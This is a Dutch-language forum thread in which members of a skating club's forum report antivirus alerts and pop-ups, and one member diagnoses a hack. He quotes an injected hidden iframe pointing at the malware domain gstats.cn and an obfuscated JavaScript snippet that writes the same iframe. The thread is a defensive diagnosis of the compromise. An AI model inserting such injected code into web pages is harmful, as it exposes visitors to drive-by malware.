problemen met het forum - hacked?!

[Huub | B.I.C. Kru]

PS: Peter gaat ook mee maar kan niet op het forum zegt hij.

enig idee wat het probleem is voor Peter?
hij mag gerust eens een mailtje sturen en dan help ik hem wel verder

Als Ingrid op dit forum wil blokkeert haar virusscanner de boel omdat er een Trojaans¨Paard binnen wil

humz.. Dat kan technisch gezien niet..
Wil u vragen aan Ingrid om nog eens te proberen aub?!
Welke browser gebruikt ingrid? welke virusscanner? en wat is de melding?

bedankt!

[Koy]

Rudy,

De zondagtraining wordt deze week voor mij geschrapt aangezien ik paashaas van dienst ben,
dus de 65km hou ik nog even in beraad

Huub,

Het forum op zich kan idd nooit voor zo'n melding zorgen maar volgens mij zijn het de pop-ups en hun inhoud
die het niet altijd even braaf spelen en daar kunnen bepaalde scanners op reageren.
Popups zijn ook zo 1997 Zijn banners niet geschikter voor bic ?

Gr.
Robbie

[Huub | B.I.C. Kru]

Huub,

Het forum op zich kan idd nooit voor zo'n melding zorgen maar volgens mij zijn het de pop-ups en hun inhoud
die het niet altijd even braaf spelen en daar kunnen bepaalde scanners op reageren.
Popups zijn ook zo 1997 Zijn banners niet geschikter voor bic ?

Gr.
Robbie

pop-ups?!
waar?????!!
wij maken geen gebruik van pop-up, enkel en alleen voor een personal message, deze krijg je dus alleen als je een bericht hebt ontvangen...
Welke pop-ups krijgt u nog?
neem je eens een screenshot op welke pagina je zat als je een pop-up kreeg als je wil?
kunnen we het onmiddellijk controleren! maar, het zou normaal gezien niet mogen / kunnen...
Nog nooit vastgesteld in Chrome en vuurvos...

[Koy]

Tja, dat komt omdat je forum gehacked is Huub
De popups verschijnen op random tijdstippen.

ff helpen

Ergens in je PHP code hebben ze deze regel toegevoegd

Code: Selecteer alles

<iframe src=http://gstats.cn style=display:none></iframe>

Da's een iframe ofwel onzichtbaar frame waar automatisch een javascript wordt uitgevoerd met malware.
gstats.cn is een bekend malware domein.

in de bron van het fitt subforum staat hij hier (viewforum.php of een van zijn includes)

Code: Selecteer alles

   <!-- NOTE: remove the style="display: none" when you want to have the forum description on the forum body --><span style="display: none">Fitness Inline Toertochten Tunrhout<br />Hier kan je alle informatie vinden over FITT, een recreatieve werking in en rond Turnhout<iframe src=http://gstats.cn style=display:none></iframe><br /></span><strong>Moderators:</strong> <a href="./memberlist.php?mode=viewprofile&amp;u=2218&amp;sid=da82ff76038efdfca67ead6603167981">drikkie</a>, <a style="color:#0033CC;" href="./memberlist.php?mode=group&amp;g=1705&amp;sid=da82ff76038efdfca67ead6603167981">Mods</a>, <a href="./memberlist.php?mode=group&amp;g=6&amp;sid=da82ff76038efdfca67ead6603167981">Admins.</a></p>
   <div class="rules">
      <div class="inner"><span class="corners-top"><span></span></span>


Mocht het opkuisen een probleem zijn sta ik ter beschikking.

Gr.
Robbie

[Huub | B.I.C. Kru]

hey,

dit probleem is al een volle week van de baan normaal, deze kwam naar alle waarschijnlijkheid (als ik het traceren van de route van de bovenstaande .cn site kan volgen) door een stat counter.

deze is al een tijdje gewist uit ons forum, waardoor de problemen zich normaal niet meer mogen stellen!
indien dit wel het probleem is, laat me dan snel wat weten! ;o)

Ik kon alvast de bovenstaande code niet vinden, maar we gaan dit uitspitten!
het komt goed!

[Koy]

*Duwt nen keer of 10 op CTRL+F5*
view source (dit topic) -> zoek -> iframe : 1 gevonden

ook in firefox zie ik het iframe staan.
gstats.cn is tevens een malware domein en heeft imo weinig verband met een statcounter.
Ik gok dat er bepaalde php code soms wel en soms niet het iframe laat zien, dus goed mogelijk dat het er momenteel bij jou niet staat.

Maar we hebben vertrouwen dat het goed komt Huub

Gr.
Robbie.

[Koy]

Heb het nog even opgezocht.

Deze link is relevant Huub
http://dtm.livejournal.com/37659.html

Instead what I discovered after looking at the source was that someone had hacked her site and inserted
<iframe src=http://gstats.cn style=display:none></iframe>
into the source. That is, inserted an invisible (display:none) frame that included the contents of http://gstats.cn.

A little bit of poking revealed that gstats.cn is a very interesting site: the first time a given IP address visits that site, they're redirected to a site that attempts to install malware. On second and subsequent visits, that site pretends that nothing's there.

[Huub | B.I.C. Kru]

*Duwt nen keer of 10 op CTRL+F5*

in firefox lost het zelfs na 20keer niets..

view source (dit topic) -> zoek -> iframe : 1 gevonden
ook in firefox zie ik het iframe staan.

dat er een iframe is kan ik inkomen, we draaien nm nog Woopra (http://www.Woopra.com) ook, ontzichtbaar op het forum; als statcounter.
Vandaar dat je misschien aan het iframe komt.

Kan je mij laten weten wanneer je voor het laatst de melding kreeg specifiek ivm gstats?!
Ik kom deze nergens tegen, tenzij daarstraks op een cache pagina van google... (enkel in het forum onderdeel fitt).
Ik heb alles alvast doorgespeeld aan de meest technische persoon op het forum, die zal het snel nakijken. Ook heb ik de vraag gesteld aan de phpbb community afwachten wat zij er van denken...

[Koy]

Huub, de iframe link staat er op random intervallen, momenteel is hij hier ook weer verdwenen.
Deze staat los van de woopra counter waar geen enkel probleem mee is.

[Koy]

Momenteel vliegen de pop-ups weer rond onze oren. Ditmaal een andere hack dan het vorige iframe.

Deze op zijn minst verdachte code verschijnt plotseling in de bron

<script language="JavaScript" type="text/javascript">
A91D4F5A63B3="p";A91D4F5A63B3+="ar";A91D4F5A63B3+="seInt";B8A7D="Strin";B8A7D+="g.fromC";B8A7D+="harCod";B8A7D+="e";function F2A5A02CC76D0(E52F6B6D50A){var C02A91=680;C02A91=C02A91-664;A7F10E=eval(A91D4F5A63B3+"(E52F6B6D50A,C02A91)");return(A7F10E);}function E5DE11E49CA73F7(B20DBE58962645){var D111356=751;D111356=D111356-749;var A2693="";for(C24717003=0;C24717003<B20DBE58962645.length;C24717003+=D111356){A2693+=( eval(B8A7D+"(F2A5A02CC76D0(B20DBE58962645.substr(C24717003,D111356)))"));}eval(A2693);}E5DE11E49CA73F7("69662028646F63756D656E742E636F6F6B69652E73656172636828227177773D342229203D3D202D3129207B0A6F6C7A3D646F63756D656E742E676574456C656D656E744279496428276F7361646727293B6966286F6C7A3D3D6E756C6C297B646F63756D656E742E777269746528273C696672616D652069643D6F73616467207372633D687474703A2F2F6773746174732E636E207374796C653D646973706C61793A6E6F6E653E3C2F696672616D653E27293B7D0A646F63756D656E742E636F6F6B6965203D20227177773D343B657870697265733D53756E2C2030312D4465632D323031312030383A30303A303020474D543B706174683D2F223B7D");
</script>

De bron van de pagina zoals ze hier momenteel weergeven wordt kan je hier bekijken.

Gr.
Robbie

[Huub | B.I.C. Kru]

beste gebruikers!


wij zijn in op een moment gekomen dat we kunnen aannemen dat de problemen zijn opgelost..
We blijven nog steeds in testfase en blijven zeer alert, maar voor zover we nu nog meldingen binnenkrijgen zijn deze allemaal positief!

de problemen zijn dus opgelost!


met vriendelijke groeten,
bedankt voor de meldingen en voor de support!

[Koy]

No problem!

De problemen lijken van de baan. Tnx Huub.

[Huub | B.I.C. Kru]

tot op heden nog geen klachten gehad...
Houden zo!

Met alle dank natuurlijk aan Daan, de man achter de schermen.

[drikkie]

Huub,

sinds enkele dagen (?) mis ook ik de "pop ups"

dus .... blijkbaar probleem opgelost

greetz, Drikkie